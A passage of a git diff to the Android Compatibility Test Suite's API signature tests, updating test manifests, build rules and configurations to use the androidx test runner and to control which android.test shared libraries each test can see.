+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.signature.cts.api.android_test_base_uses_library"
+          android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true">
+        <uses-library android:name="android.test.base" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.signature.cts.api.android_test_base_uses_library"
+                     android:label="Android Test Base Uses Library API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-base-uses-library-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-uses-library-api/AndroidTest.xml
new file mode 100644
index 0000000..c945e3f
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-uses-library-api/AndroidTest.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!--
+ ! Test that APKs which target the current sdk version (which is greater than 28) can access the
+ ! android.test.base by explicitly requesting it with a <uses-library../> entry in the
+ ! AndroidManifest.xml.
+ !-->
+<configuration description="Config for CTS Android Test Base Uses Library API Signature test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAndroidTestBaseUsesLibraryApiSignatureTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.signature.cts.api.android_test_base_uses_library" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+        <option name="class" value="android.signature.cts.api.uses_library.test.base.SignatureTest" />
+        <!--
+         ! android.test.base classes must be accessible to this test as this test specifically
+         ! requests them using a <uses-library android:name="android.test.base"/> in its manifest.
+         !-->
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz" />
+        <!--
+         ! android.test.mock and android.test.runner classes must not be accessible to this test as
+         ! they are only provided when specifically requested using a <uses-library> element in the
+         ! manifest.
+         !-->
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-runner-current.api.gz,android-test-mock-current.api.gz" />
+        <option name="runtime-hint" value="5s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/signature/api-check/android-test-base-28-api/OWNERS b/tests/signature/api-check/android-test-base-uses-library-api/OWNERS
similarity index 100%
copy from tests/signature/api-check/android-test-base-28-api/OWNERS
copy to tests/signature/api-check/android-test-base-uses-library-api/OWNERS
diff --git a/tests/signature/api-check/android-test-base-uses-library-api/src/java/android/signature/cts/api/uses_library/test/base/SignatureTest.java b/tests/signature/api-check/android-test-base-uses-library-api/src/java/android/signature/cts/api/uses_library/test/base/SignatureTest.java
new file mode 100644
index 0000000..cfa5e60
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-uses-library-api/src/java/android/signature/cts/api/uses_library/test/base/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.uses_library.test.base;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api-check/android-test-jarjar-rules.txt b/tests/signature/api-check/android-test-jarjar-rules.txt
new file mode 100644
index 0000000..be9c636
--- /dev/null
+++ b/tests/signature/api-check/android-test-jarjar-rules.txt
@@ -0,0 +1,27 @@
+# All classes from android.test.base
+rule android.test.AndroidTestCase** repackaged.@0
+rule android.test.FlakyTest** repackaged.@0
+rule android.test.InstrumentationTestCase** repackaged.@0
+rule android.test.InstrumentationTestSuite** repackaged.@0
+rule android.test.PerformanceTestCase** repackaged.@0
+rule android.test.PerformanceTestCase.Intermediates** repackaged.@0
+rule android.test.RepetitiveTest** repackaged.@0
+rule android.test.UiThreadTest** repackaged.@0
+rule android.test.suitebuilder.annotation.LargeTest** repackaged.@0
+rule android.test.suitebuilder.annotation.MediumTest** repackaged.@0
+rule android.test.suitebuilder.annotation.SmallTest** repackaged.@0
+rule android.test.suitebuilder.annotation.Smoke** repackaged.@0
+rule android.test.suitebuilder.annotation.Suppress** repackaged.@0
+rule com.android.internal.util.Predicate** repackaged.@0
+rule junit.framework.Assert** repackaged.@0
+rule junit.framework.AssertionFailedError** repackaged.@0
+rule junit.framework.ComparisonFailure** repackaged.@0
+rule junit.framework.Protectable** repackaged.@0
+rule junit.framework.Test** repackaged.@0
+rule junit.framework.TestCase** repackaged.@0
+rule junit.framework.TestFailure** repackaged.@0
+rule junit.framework.TestListener** repackaged.@0
+rule junit.framework.TestResult** repackaged.@0
+rule junit.framework.TestSuite** repackaged.@0
+rule junit.runner.BaseTestRunner** repackaged.@0
+rule junit.runner.Version** repackaged.@0
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.bp b/tests/signature/api-check/android-test-mock-current-api/Android.bp
index 52fbe50..63e6bf6 100644
--- a/tests/signature/api-check/android-test-mock-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.bp
@@ -21,8 +21,23 @@
     defaults: [
         "signature-api-check-defaults",
     ],
+
+    // Ensure that any android.test and junit classes embedded within this test do not conflict with
+    // the classes provided by the android.test.base or android.test.runner shared libraries.
+    jarjar_rules: ":cts-android-test-jarjar-rules",
+
     java_resources: [
+        ":cts-android-test-base-current-api-gz",
         ":cts-android-test-mock-current-api-gz",
+        ":cts-android-test-runner-current-api-gz",
+    ],
+
+    // Prevent android.test.base and android.test.runner classes being available at runtime by
+    // excluding them from the list of libraries that are implicitly added to the manifest.
+    // Otherwise, the test would break as it is not expecting those classes to be available.
+    exclude_uses_libs: [
+        "android.test.base",
+        "android.test.runner",
     ],
 
     use_embedded_native_libs: false,
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
index 8a4dcdc..34d469b 100644
--- a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
@@ -27,7 +27,7 @@
         <uses-library android:name="android.test.mock"/>
     </application>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.android_test_mock_current"
                      android:label="Android Test Mock Current API Signature Test"/>
 
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
index 2f74b89..8a10e48 100644
--- a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
@@ -26,9 +26,19 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.android_test_mock_current" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.current.mock.SignatureTest" />
+        <!--
+         ! android.test.mock classes must be accessible to this test as this test specifically
+         ! requests them using a <uses-library android:name="android.test.mock"/> in its manifest.
+         !-->
         <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api.gz" />
+        <!--
+         ! android.test.base and android.test.runner classes must not be accessible to this test as
+         ! they are only provided when specifically requested using a <uses-library> element in the
+         ! manifest.
+         !-->
+        <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-base-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="5s" />
         <!-- Disable hidden API checks (http://b/171459260). -->
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.bp b/tests/signature/api-check/android-test-runner-current-api/Android.bp
index 5a5b258..f6e3e63 100644
--- a/tests/signature/api-check/android-test-runner-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.bp
@@ -21,12 +21,26 @@
     defaults: [
         "signature-api-check-defaults",
     ],
+
+    // Ensure that any android.test and junit classes embedded within this test do not conflict with
+    // the classes provided by the android.test.base or android.test.runner shared libraries.
+    jarjar_rules: ":cts-android-test-jarjar-rules",
+
     java_resources: [
         ":cts-android-test-base-current-api-gz",
         ":cts-android-test-mock-current-api-gz",
         ":cts-android-test-runner-current-api-gz",
     ],
 
+    // Prevent android.test.base and android.test.mock libraries from being implicitly added to
+    // the manifest. Their classes should still be available at runtime as a dependency on
+    // android.test.runner should automatically add a dependency on android.test.base and
+    // android.test.mock.
+    exclude_uses_libs: [
+        "android.test.base",
+        "android.test.mock",
+    ],
+
     use_embedded_native_libs: false,
     test_suites: [
         "cts",
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
index fd030be..a1a9457 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
@@ -27,7 +27,7 @@
         <uses-library android:name="android.test.runner"/>
     </application>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.android_test_runner_current"
                      android:label="Android Test Runner Current API Signature Test"/>
 
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
index aa3b671..8ead6f6 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
@@ -26,8 +26,13 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.android_test_runner_current" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.current.runner.SignatureTest" />
+        <!--
+         ! android.test.base, android.test.mock and android.test.runner classes must NOT be
+         ! accessible to this test as the android.test.base classes are no longer provided by
+         ! default and the other libraries were never provided by default.
+         !-->
         <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz,android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="5s" />
         <!-- Disable hidden API checks (http://b/171459260). -->
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
index 4f32045..743ebdb 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
@@ -23,9 +23,11 @@
 
     <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
 
-    <application android:extractNativeLibs="true" android:largeHeap="true"/>
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true"/>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.apache_http_legacy_27"
                      android:label="Apache Http Legacy 27 API Signature Test"/>
 
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
index 105e1e8..84d6544 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.apache_http_legacy_27" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.api27.http.SignatureTest" />
         <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
         <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api.gz" />
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
index 7e75171..2ef7daa 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
@@ -25,7 +25,7 @@
                  android:extractNativeLibs="true"
                  android:largeHeap="true"/>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.apache_http_legacy_current"
                      android:label="Apache Http Legacy Current API Signature Test"/>
 
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
index 0ffbb80..c7de066 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.current.http.SignatureTest" />
         <option name="instrumentation-arg" key="unexpected-api-files" value="apache-http-legacy-current.api.gz" />
         <option name="runtime-hint" value="5s" />
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
index cfd69f3..1a01b49 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
@@ -25,7 +25,7 @@
         <uses-library android:name="org.apache.http.legacy"/>
     </application>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.apache_http_legacy_uses_library"
                      android:label="Apache Http Legacy UsesLibrary API Signature Test"/>
 
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
index 9ceabf8..d071020 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.apache_http_legacy_uses_library" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.http_uses_library.SignatureTest" />
         <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
         <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api.gz" />
diff --git a/tests/signature/api-check/build_signature_apk.mk b/tests/signature/api-check/build_signature_apk.mk
deleted file mode 100644
index ae8e2b5..0000000
--- a/tests/signature/api-check/build_signature_apk.mk
+++ /dev/null
@@ -1,70 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Specify the following variables before including:
-#
-#     LOCAL_PACKAGE_NAME
-#         the name of the package
-#
-#     LOCAL_SIGNATURE_API_FILES
-#         the list of api files needed
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_STATIC_JAVA_LIBRARIES += cts-api-signature-test
-
-LOCAL_JNI_SHARED_LIBRARIES += libclassdescriptors
-LOCAL_MULTILIB := both
-
-# Add dependencies needed to build/run the test with atest.
-#
-# Converts:
-#     current.api -> $(SOONG_OUT_DIR)/.intermediates/cts/tests/signature/api/cts-current-txt/gen/current.txt
-
-# Construct module name directory from file name, matches location of output of genrules
-# in ../api/Android.bp.
-#   Replace . with -
-#   Prefix every entry with cts-
-#
-cts_signature_module_deps := $(LOCAL_SIGNATURE_API_FILES)
-cts_signature_module_deps := $(subst .,-,$(cts_signature_module_deps))
-cts_signature_module_deps := $(addprefix cts-,$(cts_signature_module_deps))
-
-# Construct path to the generated files and add them as java resources.
-cts_signature_module_resources := $(addprefix $(SOONG_OUT_DIR)/.intermediates/cts/tests/signature/api/,$(cts_signature_module_deps))
-cts_signature_module_resources := $(addsuffix /gen/,$(cts_signature_module_resources))
-cts_signature_module_resources := $(join $(cts_signature_module_resources),$(LOCAL_SIGNATURE_API_FILES))
-
-LOCAL_JAVA_RESOURCE_FILES += $(cts_signature_module_resources)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-ifneq (,$(wildcard $(LOCAL_PATH)/src))
-  LOCAL_SRC_FILES := $(call all-java-files-under, src)
-endif
-
-include $(BUILD_CTS_PACKAGE)
-
-LOCAL_SIGNATURE_API_FILES :=
-cts_signature_module_resources :=
-cts_signature_module_deps :=
diff --git a/tests/signature/api-check/current-api/Android.bp b/tests/signature/api-check/current-api/Android.bp
index 14210fc..88bce59 100644
--- a/tests/signature/api-check/current-api/Android.bp
+++ b/tests/signature/api-check/current-api/Android.bp
@@ -19,13 +19,10 @@
 android_test {
     name: "CtsCurrentApiSignatureTestCases",
     defaults: [
-        "signature-api-check-dynamic-config-defaults",
+        "signature-api-check-defaults",
     ],
     java_resources: [
         ":cts-current-api-gz",
-        ":cts-android-test-base-current-api-gz",
-        ":cts-android-test-mock-current-api-gz",
-        ":cts-android-test-runner-current-api-gz",
     ],
 
     use_embedded_native_libs: false,
diff --git a/tests/signature/api-check/current-api/AndroidManifest.xml b/tests/signature/api-check/current-api/AndroidManifest.xml
index aa6e6c5..43b22df 100644
--- a/tests/signature/api-check/current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/current-api/AndroidManifest.xml
@@ -25,7 +25,7 @@
                  android:extractNativeLibs="true"
                  android:largeHeap="true"/>
 
-    <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.api.current"
                      android:label="Current API Signature Test"/>
 
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
index 796436c..f5f44b0 100644
--- a/tests/signature/api-check/current-api/AndroidTest.xml
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -32,7 +32,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.current" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.current.SignatureTest" />
         <option name="instrumentation-arg" key="expected-api-files" value="current.api.gz" />
         <option name="instrumentation-arg" key="dynamic-config-name" value="CtsCurrentApiSignatureTestCases" />
diff --git a/tests/signature/api-check/current-api/src/android/signature/cts/api/current/SignatureTest.java b/tests/signature/api-check/current-api/src/android/signature/cts/api/current/SignatureTest.java
index b6a806a..1eadd2f 100644
--- a/tests/signature/api-check/current-api/src/android/signature/cts/api/current/SignatureTest.java
+++ b/tests/signature/api-check/current-api/src/android/signature/cts/api/current/SignatureTest.java
@@ -16,7 +16,5 @@
 
 package android.signature.cts.api.current;
 
-import java.android.signature.cts.api.dynamic.DynamicConfigSignatureTest;
-
-public class SignatureTest extends DynamicConfigSignatureTest {
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
index 57d059f..10912bb 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
@@ -28,12 +28,11 @@
         "cts",
         "general-tests",
     ],
-    // Ideally the following should be uncommented but unfortunately due to
-    // limitations in the build that causes build failures due to duplicate copy
-    // rules being generated. In the meantime it is necessary to build
-    // CtsHiddenApiBlocklistCurrentApiTestCases before running this test to
-    // pick up any changes to CtsHiddenApiBlocklistApiDynamicConfig.dynamic.
-    // data: [
-    //     ":CtsHiddenApiBlocklistApiDynamicConfig",
-    // ],
+
+    // Ensure that the default CtsHiddenApiBlocklistApiDynamicConfig provided for
+    // this test does not collide with the copy provided for other tests.
+    per_testcase_directory: true,
+    data: [
+        ":CtsHiddenApiBlocklistApiDynamicConfig",
+    ],
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidManifest.xml
index 84c73fc..c56f65e2 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidManifest.xml
@@ -25,7 +25,7 @@
     <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
     <instrumentation
-        android:name="repackaged.android.test.InstrumentationTestRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.signature.cts.api.hiddenapi_blocklist_api_27"
         android:label="Hidden API Blocklist Test for SDK level 27"/>
 </manifest>
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
index b90dd17..b863f06 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
@@ -31,7 +31,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.hiddenapi_blocklist_api_27" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.api27.HiddenApiTest" />
         <option name="instrumentation-arg" key="dynamic-config-name" value="CtsHiddenApiBlocklistApiDynamicConfig" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
@@ -41,5 +41,7 @@
         <option name="runtime-hint" value="30s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java
index 13ea0f1..c940aac 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java
@@ -16,7 +16,5 @@
 
 package android.signature.cts.api.api27;
 
-import android.signature.cts.api.dynamic.DynamicConfigHiddenApiTest;
-
-public class HiddenApiTest extends DynamicConfigHiddenApiTest {
+public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
index 28fb4fa5..d65467c 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
@@ -28,12 +28,11 @@
         "cts",
         "general-tests",
     ],
-    // Ideally the following should be uncommented but unfortunately due to
-    // limitations in the build that causes build failures due to duplicate copy
-    // rules being generated. In the meantime it is necessary to build
-    // CtsHiddenApiBlocklistCurrentApiTestCases before running this test to
-    // pick up any changes to CtsHiddenApiBlocklistApiDynamicConfig.dynamic.
-    // data: [
-    //     ":CtsHiddenApiBlocklistApiDynamicConfig",
-    // ],
+
+    // Ensure that the default CtsHiddenApiBlocklistApiDynamicConfig provided for
+    // this test does not collide with the copy provided for other tests.
+    per_testcase_directory: true,
+    data: [
+        ":CtsHiddenApiBlocklistApiDynamicConfig",
+    ],
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidManifest.xml
index 81c473a..56845e8 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidManifest.xml
@@ -25,7 +25,7 @@
     <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
     <instrumentation
-        android:name="repackaged.android.test.InstrumentationTestRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.signature.cts.api.hiddenapi_blocklist_api_28"
         android:label="Hidden API Blocklist Test for SDK level 28"/>
 </manifest>
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
index 1ae066c..5a9e268 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
@@ -31,7 +31,7 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.hiddenapi_blocklist_api_28" />
-        <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.api28.HiddenApiTest" />
         <option name="instrumentation-arg" key="dynamic-config-name" value="CtsHiddenApiBlocklistApiDynamicConfig" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
@@ -41,5 +41,7 @@
         <option name="runtime-hint" value="30s" />
         <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
         <option name="isolated-storage" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java
index 091a25f..f85dda3 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java
@@ -16,7 +16,5 @@
 
 package android.signature.cts.api.api28;
 
-import android.signature.cts.api.dynamic.DynamicConfigHiddenApiTest;
-
-public class HiddenApiTest extends DynamicConfigHiddenApiTest {
+public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
index 6c3401b..6cf1a56 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
@@ -27,6 +27,10 @@
         "cts",
         "general-tests",
     ],
+
+    // Ensure that the default CtsHiddenApiBlocklistApiDynamicConfig provided for
+    // this test does not collide with the copy provided for other tests.
+    per_testcase_directory: true,
     data: [
